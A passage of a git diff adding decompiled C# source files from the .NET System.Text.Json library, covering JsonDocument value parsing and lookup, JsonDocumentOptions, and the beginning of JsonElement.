value2; + return true; + } + value = 0; + return false; + } + + internal bool TryGetValue(int index, out uint value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out uint value2, out int bytesConsumed, '\0') && bytesConsumed == source.Length) + { + value = value2; + return true; + } + value = 0u; + return false; + } + + internal bool TryGetValue(int index, out long value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out long value2, out int bytesConsumed, '\0') && bytesConsumed == source.Length) + { + value = value2; + return true; + } + value = 0L; + return false; + } + + internal bool TryGetValue(int index, out ulong value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out ulong value2, out int bytesConsumed, '\0') && bytesConsumed == source.Length) + { + value = value2; + return true; + } + value = 0uL; + return false; + } + + internal bool TryGetValue(int index, out double value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out double value2, out int bytesConsumed, '\0') && source.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0.0; + return false; + } + + internal bool TryGetValue(int index, out float value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out float value2, out int bytesConsumed, '\0') && source.Length == bytesConsumed) + { + value = value2; + return true; + } + value = 0f; + return false; + } + + internal bool TryGetValue(int index, out decimal value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out decimal value2, out int bytesConsumed, '\0') && source.Length == bytesConsumed) + { + value = value2; + return true; + } + value = default(decimal); + return false; + } + + internal bool TryGetValue(int index, out DateTime value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.String, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (!JsonHelpers.IsValidDateTimeOffsetParseLength(source.Length)) + { + value = default(DateTime); + return false; + } + if (dbRow.HasComplexChildren) + { + return JsonReaderHelper.TryGetEscapedDateTime(source, out value); + } + if (JsonHelpers.TryParseAsISO(source, out DateTime value2)) + { + value = value2; + return true; + } + value = default(DateTime); + return false; + } + + internal bool TryGetValue(int index, out DateTimeOffset value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.String, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (!JsonHelpers.IsValidDateTimeOffsetParseLength(source.Length)) + { + value = default(DateTimeOffset); + return false; + } + if (dbRow.HasComplexChildren) + { + return JsonReaderHelper.TryGetEscapedDateTimeOffset(source, out value); + } + if (JsonHelpers.TryParseAsISO(source, out DateTimeOffset value2)) + { + value = value2; + return true; + } + value = default(DateTimeOffset); + return false; + } + + internal bool TryGetValue(int index, out Guid value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.String, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (source.Length > 216) + { + value = default(Guid); + return false; + } + if (dbRow.HasComplexChildren) + { + return JsonReaderHelper.TryGetEscapedGuid(source, out value); + } + if (source.Length == 36 && Utf8Parser.TryParse(source, out Guid value2, out int _, 'D')) + { + value = value2; + return true; + } + value = default(Guid); + return false; + } + + internal string GetRawValueAsString(int index) + { + return JsonReaderHelper.TranscodeHelper(GetRawValue(index, includeQuotes: true).Span); + } + + internal string GetPropertyRawValueAsString(int valueIndex) + { + return JsonReaderHelper.TranscodeHelper(GetPropertyRawValue(valueIndex).Span); + } + + internal JsonElement CloneElement(int index) + { + int endIndex = GetEndIndex(index, includeEndElement: true); + MetadataDb parsedData = _parsedData.CopySegment(index, endIndex); + ReadOnlyMemory utf8Json = GetRawValue(index, includeQuotes: true).ToArray(); + JsonDocument jsonDocument = new JsonDocument(utf8Json, parsedData, null, null, isDisposable: false); + return jsonDocument.RootElement; + } + + internal void WriteElementTo(int index, Utf8JsonWriter writer) + { + CheckNotDisposed(); + DbRow row = _parsedData.Get(index); + switch (row.TokenType) + { + case JsonTokenType.StartObject: + writer.WriteStartObject(); + WriteComplexElement(index, writer); + break; + case JsonTokenType.StartArray: + writer.WriteStartArray(); + WriteComplexElement(index, writer); + break; + case JsonTokenType.String: + WriteString(in row, writer); + break; + case JsonTokenType.Number: + writer.WriteNumberValue(_utf8Json.Slice(row.Location, row.SizeOrLength).Span); + break; + case JsonTokenType.True: + writer.WriteBooleanValue(value: true); + break; + case JsonTokenType.False: + writer.WriteBooleanValue(value: false); + break; + case JsonTokenType.Null: + writer.WriteNullValue(); + break; + case JsonTokenType.EndObject: + case JsonTokenType.EndArray: + case JsonTokenType.PropertyName: + case JsonTokenType.Comment: + break; + } + } + + private void WriteComplexElement(int index, Utf8JsonWriter writer) + { + int endIndex = GetEndIndex(index, includeEndElement: true); + for (int i = index + 12; i < endIndex; i += 12) + { + DbRow row = _parsedData.Get(i); + switch (row.TokenType) + { + case JsonTokenType.String: + WriteString(in row, writer); + break; + case JsonTokenType.Number: + writer.WriteNumberValue(_utf8Json.Slice(row.Location, row.SizeOrLength).Span); + break; + case JsonTokenType.True: + writer.WriteBooleanValue(value: true); + break; + case JsonTokenType.False: + writer.WriteBooleanValue(value: false); + break; + case JsonTokenType.Null: + writer.WriteNullValue(); + break; + case JsonTokenType.StartObject: + writer.WriteStartObject(); + break; + case JsonTokenType.EndObject: + writer.WriteEndObject(); + break; + case JsonTokenType.StartArray: + writer.WriteStartArray(); + break; + case JsonTokenType.EndArray: + writer.WriteEndArray(); + break; + case JsonTokenType.PropertyName: + WritePropertyName(in row, writer); + break; + } + } + } + + private ReadOnlySpan UnescapeString(in DbRow row, out ArraySegment rented) + { + int location = row.Location; + int sizeOrLength = row.SizeOrLength; + ReadOnlySpan span = _utf8Json.Slice(location, sizeOrLength).Span; + if (!row.HasComplexChildren) + { + rented = default(ArraySegment); + return span; + } + byte[] array = ArrayPool.Shared.Rent(sizeOrLength); + JsonReaderHelper.Unescape(span, array, out var written); + rented = new ArraySegment(array, 0, written); + return rented.AsSpan(); + } + + private static void ClearAndReturn(ArraySegment rented) + { + if (rented.Array != null) + { + rented.AsSpan().Clear(); + ArrayPool.Shared.Return(rented.Array); + } + } + + private void WritePropertyName(in DbRow row, Utf8JsonWriter writer) + { + ArraySegment rented = default(ArraySegment); + try + { + writer.WritePropertyName(UnescapeString(in row, out rented)); + } + finally + { + ClearAndReturn(rented); + } + } + + private void WriteString(in DbRow row, Utf8JsonWriter writer) + { + ArraySegment rented = default(ArraySegment); + try + { + writer.WriteStringValue(UnescapeString(in row, out rented)); + } + finally + { + ClearAndReturn(rented); + } + } + + private static void Parse(ReadOnlySpan utf8JsonSpan, JsonReaderOptions readerOptions, ref MetadataDb database, ref StackRowStack stack) + { + bool flag = false; + int num = 0; + int num2 = 0; + int num3 = 0; + Utf8JsonReader utf8JsonReader = new Utf8JsonReader(utf8JsonSpan, isFinalBlock: true, new JsonReaderState(readerOptions)); + while (utf8JsonReader.Read()) + { + JsonTokenType tokenType = utf8JsonReader.TokenType; + int num4 = (int)utf8JsonReader.TokenStartIndex; + switch (tokenType) + { + case JsonTokenType.StartObject: + { + if (flag) + { + num++; + } + num3++; + database.Append(tokenType, num4, -1); + StackRow row2 = new StackRow(num2 + 1); + stack.Push(row2); + num2 = 0; + break; + } + case JsonTokenType.EndObject: + { + int index = database.FindIndexOfFirstUnsetSizeOrLength(JsonTokenType.StartObject); + num3++; + num2++; + database.SetLength(index, num2); + int length2 = database.Length; + database.Append(tokenType, num4, utf8JsonReader.ValueSpan.Length); + database.SetNumberOfRows(index, num2); + database.SetNumberOfRows(length2, num2); + num2 += stack.Pop().SizeOrLength; + break; + } + case JsonTokenType.StartArray: + { + if (flag) + { + num++; + } + num2++; + database.Append(tokenType, num4, -1); + StackRow row = new StackRow(num, num3 + 1); + stack.Push(row); + num = 0; + num3 = 0; + break; + } + case JsonTokenType.EndArray: + { + int num5 = database.FindIndexOfFirstUnsetSizeOrLength(JsonTokenType.StartArray); + num3++; + num2++; + database.SetLength(num5, num); + database.SetNumberOfRows(num5, num3); + if (num + 1 != num3) + { + database.SetHasComplexChildren(num5); + } + int length = database.Length; + database.Append(tokenType, num4, utf8JsonReader.ValueSpan.Length); + database.SetNumberOfRows(length, num3); + StackRow stackRow = stack.Pop(); + num = stackRow.SizeOrLength; + num3 += stackRow.NumberOfRows; + break; + } + case JsonTokenType.PropertyName: + num3++; + num2++; + database.Append(tokenType, num4 + 1, utf8JsonReader.ValueSpan.Length); + if (utf8JsonReader.ValueIsEscaped) + { + database.SetHasComplexChildren(database.Length - 12); + } + break; + default: + num3++; + num2++; + if (flag) + { + num++; + } + if (tokenType == JsonTokenType.String) + { + database.Append(tokenType, num4 + 1, utf8JsonReader.ValueSpan.Length); + if (utf8JsonReader.ValueIsEscaped) + { + database.SetHasComplexChildren(database.Length - 12); + } + } + else + { + database.Append(tokenType, num4, utf8JsonReader.ValueSpan.Length); + } + break; + } + flag = utf8JsonReader.IsInArray; + } + database.CompleteAllocations(); + } + + private void CheckNotDisposed() + { + if (_utf8Json.IsEmpty) + { + ThrowHelper.ThrowObjectDisposedException_JsonDocument(); + } + } + + private static void CheckExpectedType(JsonTokenType expected, JsonTokenType actual) + { + if (expected != actual) + { + ThrowHelper.ThrowJsonElementWrongTypeException(expected, actual); + } + } + + private static void CheckSupportedOptions(JsonReaderOptions readerOptions, string paramName) + { + if (readerOptions.CommentHandling == JsonCommentHandling.Allow) + { + throw new ArgumentException(System.SR.JsonDocumentDoesNotSupportComments, paramName); + } + } + + public static JsonDocument Parse(ReadOnlyMemory utf8Json, JsonDocumentOptions options = default(JsonDocumentOptions)) + { + return Parse(utf8Json, options.GetReaderOptions()); + } + + public static JsonDocument Parse(ReadOnlySequence utf8Json, JsonDocumentOptions options = default(JsonDocumentOptions)) + { + JsonReaderOptions readerOptions = options.GetReaderOptions(); + if (utf8Json.IsSingleSegment) + { + return Parse(utf8Json.First, readerOptions); + } + int num = checked((int)utf8Json.Length); + byte[] array = ArrayPool.Shared.Rent(num); + try + { + utf8Json.CopyTo(array.AsSpan()); + return Parse(array.AsMemory(0, num), readerOptions, array); + } + catch + { + array.AsSpan(0, num).Clear(); + ArrayPool.Shared.Return(array); + throw; + } + } + + public static JsonDocument Parse(Stream utf8Json, JsonDocumentOptions options = default(JsonDocumentOptions)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + ArraySegment segment = ReadToEnd(utf8Json); + try + { + return Parse(segment.AsMemory(), options.GetReaderOptions(), segment.Array); + } + catch + { + segment.AsSpan().Clear(); + ArrayPool.Shared.Return(segment.Array); + throw; + } + } + + internal static JsonDocument ParseRented(PooledByteBufferWriter utf8Json, JsonDocumentOptions options = default(JsonDocumentOptions)) + { + return Parse(utf8Json.WrittenMemory, options.GetReaderOptions(), null, utf8Json); + } + + internal static JsonDocument ParseValue(Stream utf8Json, JsonDocumentOptions options) + { + ArraySegment segment = ReadToEnd(utf8Json); + byte[] array = new byte[segment.Count]; + Buffer.BlockCopy(segment.Array, 0, array, 0, segment.Count); + segment.AsSpan().Clear(); + ArrayPool.Shared.Return(segment.Array); + return ParseUnrented(array.AsMemory(), options.GetReaderOptions()); + } + + internal static JsonDocument ParseValue(ReadOnlySpan utf8Json, JsonDocumentOptions options) + { + byte[] array = new byte[utf8Json.Length]; + utf8Json.CopyTo(array); + return ParseUnrented(array.AsMemory(), options.GetReaderOptions()); + } + + internal static JsonDocument ParseValue(string json, JsonDocumentOptions options) + { + return ParseValue(json.AsMemory(), options); + } + + public static Task ParseAsync(Stream utf8Json, JsonDocumentOptions options = default(JsonDocumentOptions), CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + return ParseAsyncCore(utf8Json, options, cancellationToken); + } + + private static async Task ParseAsyncCore(Stream utf8Json, JsonDocumentOptions options = default(JsonDocumentOptions), CancellationToken cancellationToken = default(CancellationToken)) + { + ArraySegment segment = await ReadToEndAsync(utf8Json, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + try + { + return Parse(segment.AsMemory(), options.GetReaderOptions(), segment.Array); + } + catch + { + segment.AsSpan().Clear(); + ArrayPool.Shared.Return(segment.Array); + throw; + } + } + + internal static async Task ParseAsyncCoreUnrented(Stream utf8Json, JsonDocumentOptions options = default(JsonDocumentOptions), CancellationToken cancellationToken = default(CancellationToken)) + { + ArraySegment segment = await ReadToEndAsync(utf8Json, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + byte[] array = new byte[segment.Count]; + Buffer.BlockCopy(segment.Array, 0, array, 0, segment.Count); + segment.AsSpan().Clear(); + ArrayPool.Shared.Return(segment.Array); + return ParseUnrented(array.AsMemory(), options.GetReaderOptions()); + } + + public static JsonDocument Parse([StringSyntax("Json")] ReadOnlyMemory json, JsonDocumentOptions options = default(JsonDocumentOptions)) + { + ReadOnlySpan span = json.Span; + int utf8ByteCount = JsonReaderHelper.GetUtf8ByteCount(span); + byte[] array = ArrayPool.Shared.Rent(utf8ByteCount); + try + { + int utf8FromText = JsonReaderHelper.GetUtf8FromText(span, array); + return Parse(array.AsMemory(0, utf8FromText), options.GetReaderOptions(), array); + } + catch + { + array.AsSpan(0, utf8ByteCount).Clear(); + ArrayPool.Shared.Return(array); + throw; + } + } + + internal static JsonDocument ParseValue(ReadOnlyMemory json, JsonDocumentOptions options) + { + ReadOnlySpan span = json.Span; + int utf8ByteCount = JsonReaderHelper.GetUtf8ByteCount(span); + byte[] array = ArrayPool.Shared.Rent(utf8ByteCount); + byte[] array2; + try + { + int utf8FromText = JsonReaderHelper.GetUtf8FromText(span, array); + array2 = new byte[utf8FromText]; + Buffer.BlockCopy(array, 0, array2, 0, utf8FromText); + } + finally + { + array.AsSpan(0, utf8ByteCount).Clear(); + ArrayPool.Shared.Return(array); + } + return ParseUnrented(array2.AsMemory(), options.GetReaderOptions()); + } + + public static JsonDocument Parse([StringSyntax("Json")] string json, JsonDocumentOptions options = default(JsonDocumentOptions)) + { + if (json == null) + { + ThrowHelper.ThrowArgumentNullException("json"); + } + return Parse(json.AsMemory(), options); + } + + public static bool TryParseValue(ref Utf8JsonReader reader, [NotNullWhen(true)] out JsonDocument? document) + { + return TryParseValue(ref reader, out document, shouldThrow: false, useArrayPools: true); + } + + public static JsonDocument ParseValue(ref Utf8JsonReader reader) + { + JsonDocument document; + bool flag = TryParseValue(ref reader, out document, shouldThrow: true, useArrayPools: true); + return document; + } + + internal static bool TryParseValue(ref Utf8JsonReader reader, [NotNullWhen(true)] out JsonDocument document, bool shouldThrow, bool useArrayPools) + { + JsonReaderState currentState = reader.CurrentState; + CheckSupportedOptions(currentState.Options, "reader"); + Utf8JsonReader utf8JsonReader = reader; + ReadOnlySpan readOnlySpan = default(ReadOnlySpan); + ReadOnlySequence sequence = default(ReadOnlySequence); + try + { + JsonTokenType tokenType = reader.TokenType; + ReadOnlySpan bytes; + if ((tokenType == JsonTokenType.None || tokenType == JsonTokenType.PropertyName) && !reader.Read()) + { + if (shouldThrow) + { + bytes = default(ReadOnlySpan); + ThrowHelper.ThrowJsonReaderException(ref reader, ExceptionResource.ExpectedJsonTokens, 0, bytes); + } + reader = utf8JsonReader; + document = null; + return false; + } + switch (reader.TokenType) + { + case JsonTokenType.StartObject: + case JsonTokenType.StartArray: + { + long tokenStartIndex = reader.TokenStartIndex; + if (!reader.TrySkip()) + { + if (shouldThrow) + { + bytes = default(ReadOnlySpan); + ThrowHelper.ThrowJsonReaderException(ref reader, ExceptionResource.ExpectedJsonTokens, 0, bytes); + } + reader = utf8JsonReader; + document = null; + return false; + } + long num3 = reader.BytesConsumed - tokenStartIndex; + ReadOnlySequence originalSequence2 = reader.OriginalSequence; + if (originalSequence2.IsEmpty) + { + bytes = reader.OriginalSpan; + readOnlySpan = checked(bytes.Slice((int)tokenStartIndex, (int)num3)); + } + else + { + sequence = originalSequence2.Slice(tokenStartIndex, num3); + } + break; + } + case JsonTokenType.True: + case JsonTokenType.False: + case JsonTokenType.Null: + if (useArrayPools) + { + if (reader.HasValueSequence) + { + sequence = reader.ValueSequence; + } + else + { + readOnlySpan = reader.ValueSpan; + } + break; + } + document = CreateForLiteral(reader.TokenType); + return true; + case JsonTokenType.Number: + if (reader.HasValueSequence) + { + sequence = reader.ValueSequence; + } + else + { + readOnlySpan = reader.ValueSpan; + } + break; + case JsonTokenType.String: + { + ReadOnlySequence originalSequence = reader.OriginalSequence; + if (originalSequence.IsEmpty) + { + bytes = reader.ValueSpan; + int length = bytes.Length + 2; + readOnlySpan = reader.OriginalSpan.Slice((int)reader.TokenStartIndex, length); + break; + } + long num = 2L; + if (reader.HasValueSequence) + { + num += reader.ValueSequence.Length; + } + else + { + long num2 = num; + bytes = reader.ValueSpan; + num = num2 + bytes.Length; + } + sequence = originalSequence.Slice(reader.TokenStartIndex, num); + break; + } + default: + if (shouldThrow) + { + bytes = reader.ValueSpan; + byte nextByte = bytes[0]; + bytes = default(ReadOnlySpan); + ThrowHelper.ThrowJsonReaderException(ref reader, ExceptionResource.ExpectedStartOfValueNotFound, nextByte, bytes); + } + reader = utf8JsonReader; + document = null; + return false; + } + } + catch + { + reader = utf8JsonReader; + throw; + } + int num4 = (readOnlySpan.IsEmpty ? checked((int)sequence.Length) : readOnlySpan.Length); + if (useArrayPools) + { + byte[] array = ArrayPool.Shared.Rent(num4); + Span destination = array.AsSpan(0, num4); + try + { + if (readOnlySpan.IsEmpty) + { + sequence.CopyTo(destination); + } + else + { + readOnlySpan.CopyTo(destination); + } + document = Parse(array.AsMemory(0, num4), currentState.Options, array); + } + catch + { + destination.Clear(); + ArrayPool.Shared.Return(array); + throw; + } + } + else + { + byte[] array2 = ((!readOnlySpan.IsEmpty) ? readOnlySpan.ToArray() : BuffersExtensions.ToArray(in sequence)); + document = ParseUnrented(array2, currentState.Options, reader.TokenType); + } + return true; + } + + private static JsonDocument CreateForLiteral(JsonTokenType tokenType) + { + switch (tokenType) + { + case JsonTokenType.False: + if (s_falseLiteral == null) + { + s_falseLiteral = Create(JsonConstants.FalseValue.ToArray()); + } + return s_falseLiteral; + case JsonTokenType.True: + if (s_trueLiteral == null) + { + s_trueLiteral = Create(JsonConstants.TrueValue.ToArray()); + } + return s_trueLiteral; + default: + if (s_nullLiteral == null) + { + s_nullLiteral = Create(JsonConstants.NullValue.ToArray()); + } + return s_nullLiteral; + } + JsonDocument Create(byte[] utf8Json) + { + MetadataDb parsedData = MetadataDb.CreateLocked(utf8Json.Length); + parsedData.Append(tokenType, 0, utf8Json.Length); + return new JsonDocument(utf8Json, parsedData, null, null, isDisposable: false); + } + } + + private static JsonDocument Parse(ReadOnlyMemory utf8Json, JsonReaderOptions readerOptions, byte[] extraRentedArrayPoolBytes = null, PooledByteBufferWriter extraPooledByteBufferWriter = null) + { + ReadOnlySpan span = utf8Json.Span; + MetadataDb database = MetadataDb.CreateRented(utf8Json.Length, convertToAlloc: false); + StackRowStack stack = new StackRowStack(512); + try + { + Parse(span, readerOptions, ref database, ref stack); + } + catch + { + database.Dispose(); + throw; + } + finally + { + stack.Dispose(); + } + return new JsonDocument(utf8Json, database, extraRentedArrayPoolBytes, extraPooledByteBufferWriter); + } + + private static JsonDocument ParseUnrented(ReadOnlyMemory utf8Json, JsonReaderOptions readerOptions, JsonTokenType tokenType = JsonTokenType.None) + { + ReadOnlySpan span = utf8Json.Span; + MetadataDb database; + if (tokenType == JsonTokenType.String || tokenType == JsonTokenType.Number) + { + database = MetadataDb.CreateLocked(utf8Json.Length); + StackRowStack stack = default(StackRowStack); + Parse(span, readerOptions, ref database, ref stack); + } + else + { + database = MetadataDb.CreateRented(utf8Json.Length, convertToAlloc: true); + StackRowStack stack2 = new StackRowStack(512); + try + { + Parse(span, readerOptions, ref database, ref stack2); + } + finally + { + stack2.Dispose(); + } + } + return new JsonDocument(utf8Json, database, null, null, isDisposable: false); + } + + private static ArraySegment ReadToEnd(Stream stream) + { + int num = 0; + byte[] array = null; + ReadOnlySpan utf8Bom = JsonConstants.Utf8Bom; + try + { + if (stream.CanSeek) + { + long num2 = Math.Max(utf8Bom.Length, stream.Length - stream.Position) + 1; + array = ArrayPool.Shared.Rent(checked((int)num2)); + } + else + { + array = ArrayPool.Shared.Rent(4096); + } + int num3; + do + { + num3 = stream.Read(array, num, utf8Bom.Length - num); + num += num3; + } + while (num3 > 0 && num < utf8Bom.Length); + if (num == utf8Bom.Length && utf8Bom.SequenceEqual(array.AsSpan(0, utf8Bom.Length))) + { + num = 0; + } + do + { + if (array.Length == num) + { + byte[] array2 = array; + array = ArrayPool.Shared.Rent(checked(array2.Length * 2)); + Buffer.BlockCopy(array2, 0, array, 0, array2.Length); + ArrayPool.Shared.Return(array2, clearArray: true); + } + num3 = stream.Read(array, num, array.Length - num); + num += num3; + } + while (num3 > 0); + return new ArraySegment(array, 0, num); + } + catch + { + if (array != null) + { + array.AsSpan(0, num).Clear(); + ArrayPool.Shared.Return(array); + } + throw; + } + } + + private static async Task> ReadToEndAsync(Stream stream, CancellationToken cancellationToken) + { + int written = 0; + byte[] rented = null; + try + { + int utf8BomLength = JsonConstants.Utf8Bom.Length; + if (stream.CanSeek) + { + long num = Math.Max(utf8BomLength, stream.Length - stream.Position) + 1; + rented = ArrayPool.Shared.Rent(checked((int)num)); + } + else + { + rented = ArrayPool.Shared.Rent(4096); + } + int num2; + do + { + num2 = await stream.ReadAsync(rented, written, utf8BomLength - written, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + written += num2; + } + while (num2 > 0 && written < utf8BomLength); + if (written == utf8BomLength && JsonConstants.Utf8Bom.SequenceEqual(rented.AsSpan(0, utf8BomLength))) + { + written = 0; + } + do + { + if (rented.Length == written) + { + byte[] array = rented; + rented = ArrayPool.Shared.Rent(array.Length * 2); + Buffer.BlockCopy(array, 0, rented, 0, array.Length); + ArrayPool.Shared.Return(array, clearArray: true); + } + num2 = await stream.ReadAsync(rented, written, rented.Length - written, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + written += num2; + } + while (num2 > 0); + return new ArraySegment(rented, 0, written); + } + catch + { + if (rented != null) + { + rented.AsSpan(0, written).Clear(); + ArrayPool.Shared.Return(rented); + } + throw; + } + } + + internal bool TryGetNamedPropertyValue(int index, ReadOnlySpan propertyName, out JsonElement value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.StartObject, dbRow.TokenType); + if (dbRow.NumberOfRows == 1) + { + value = default(JsonElement); + return false; + } + int maxByteCount = JsonReaderHelper.s_utf8Encoding.GetMaxByteCount(propertyName.Length); + int startIndex = index + 12; + int num = checked(dbRow.NumberOfRows * 12 + index); + if (maxByteCount < 256) + { + Span span = stackalloc byte[256]; + span = span[..JsonReaderHelper.GetUtf8FromText(propertyName, span)]; + return TryGetNamedPropertyValue(startIndex, num, span, out value); + } + int length = propertyName.Length; + int num2; + for (num2 = num - 12; num2 > index; num2 -= 12) + { + int num3 = num2; + dbRow = _parsedData.Get(num2); + num2 = ((!dbRow.IsSimpleValue) ? (num2 - 12 * (dbRow.NumberOfRows + 1)) : (num2 - 12)); + if (_parsedData.Get(num2).SizeOrLength >= length) + { + byte[] array = ArrayPool.Shared.Rent(maxByteCount); + Span span2 = default(Span); + try + { + int utf8FromText = JsonReaderHelper.GetUtf8FromText(propertyName, array); + span2 = array.AsSpan(0, utf8FromText); + return TryGetNamedPropertyValue(startIndex, num3 + 12, span2, out value); + } + finally + { + span2.Clear(); + ArrayPool.Shared.Return(array); + } + } + } + value = default(JsonElement); + return false; + } + + internal bool TryGetNamedPropertyValue(int index, ReadOnlySpan propertyName, out JsonElement value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.StartObject, dbRow.TokenType); + if (dbRow.NumberOfRows == 1) + { + value = default(JsonElement); + return false; + } + int endIndex = checked(dbRow.NumberOfRows * 12 + index); + return TryGetNamedPropertyValue(index + 12, endIndex, propertyName, out value); + } + + private bool TryGetNamedPropertyValue(int startIndex, int endIndex, ReadOnlySpan propertyName, out JsonElement value) + { + ReadOnlySpan span = _utf8Json.Span; + Span span2 = stackalloc byte[256]; + int num; + for (num = endIndex - 12; num > startIndex; num -= 12) + { + DbRow dbRow = _parsedData.Get(num); + num = ((!dbRow.IsSimpleValue) ? (num - 12 * (dbRow.NumberOfRows + 1)) : (num - 12)); + dbRow = _parsedData.Get(num); + ReadOnlySpan span3 = span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (dbRow.HasComplexChildren) + { + if (span3.Length > propertyName.Length) + { + int num2 = span3.IndexOf((byte)92); + if (propertyName.Length > num2 && span3.Slice(0, num2).SequenceEqual(propertyName.Slice(0, num2))) + { + int num3 = span3.Length - num2; + int written = 0; + byte[] array = null; + try + { + Span destination = ((num3 <= span2.Length) ? span2 : ((Span)(array = ArrayPool.Shared.Rent(num3)))); + JsonReaderHelper.Unescape(span3.Slice(num2), destination, 0, out written); + if (destination.Slice(0, written).SequenceEqual(propertyName.Slice(num2))) + { + value = new JsonElement(this, num + 12); + return true; + } + } + finally + { + if (array != null) + { + array.AsSpan(0, written).Clear(); + ArrayPool.Shared.Return(array); + } + } + } + } + } + else if (span3.SequenceEqual(propertyName)) + { + value = new JsonElement(this, num + 12); + return true; + } + } + value = default(JsonElement); + return false; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonDocumentOptions.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonDocumentOptions.cs new file mode 100644 index 0000000..3a57620 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonDocumentOptions.cs @@ -0,0 +1,54 @@ +namespace System.Text.Json; + +public struct JsonDocumentOptions +{ + internal const int DefaultMaxDepth = 64; + + private int _maxDepth; + + private JsonCommentHandling _commentHandling; + + public JsonCommentHandling CommentHandling + { + readonly get + { + return _commentHandling; + } + set + { + if ((int)value > 1) + { + throw new ArgumentOutOfRangeException("value", System.SR.JsonDocumentDoesNotSupportComments); + } + _commentHandling = value; + } + } + + public int MaxDepth + { + readonly get + { + return _maxDepth; + } + set + { + if (value < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException_MaxDepthMustBePositive("value"); + } + _maxDepth = value; + } + } + + public bool AllowTrailingCommas { get; set; } + + internal JsonReaderOptions GetReaderOptions() + { + return new JsonReaderOptions + { + AllowTrailingCommas = AllowTrailingCommas, + CommentHandling = CommentHandling, + MaxDepth = MaxDepth + }; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonElement.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonElement.cs new file mode 100644 index 0000000..d499b8e --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonElement.cs @@ -0,0 +1,669 @@ +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.IO; + +namespace System.Text.Json; + +[DebuggerDisplay("{DebuggerDisplay,nq}")] +public readonly struct JsonElement +{ + [DebuggerDisplay("{Current,nq}")] + public struct ArrayEnumerator : IEnumerable, IEnumerable, IEnumerator, IDisposable, IEnumerator + { + private readonly JsonElement _target; + + private int _curIdx; + + private readonly int _endIdxOrVersion; + + public JsonElement Current + { + get + { + if (_curIdx < 0) + { + return default(JsonElement); + } + return new JsonElement(_target._parent, _curIdx); + } + } + + object IEnumerator.Current => Current; + + internal ArrayEnumerator(JsonElement target) + { + _target = target; + _curIdx = -1; + _endIdxOrVersion = target._parent.GetEndIndex(_target._idx, includeEndElement: false); + } + + public ArrayEnumerator GetEnumerator() + { + ArrayEnumerator result = this; + result._curIdx = -1; + return result; + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public void Dispose() + { + _curIdx = _endIdxOrVersion; + } + + public void Reset() + { + _curIdx = -1; + } + + public bool MoveNext() + { + if (_curIdx >= _endIdxOrVersion) + { + return false; + } + if (_curIdx < 0) + { + _curIdx = _target._idx + 12; + } + else + { + _curIdx = _target._parent.GetEndIndex(_curIdx, includeEndElement: true); + } + return _curIdx < _endIdxOrVersion; + } + } + + [DebuggerDisplay("{Current,nq}")] + public struct ObjectEnumerator : IEnumerable, IEnumerable, IEnumerator, IDisposable, IEnumerator + { + private readonly JsonElement _target; + + private int _curIdx; + + private readonly int _endIdxOrVersion; + + public JsonProperty Current + { + get + { + if (_curIdx < 0) + { + return default(JsonProperty); + } + return new 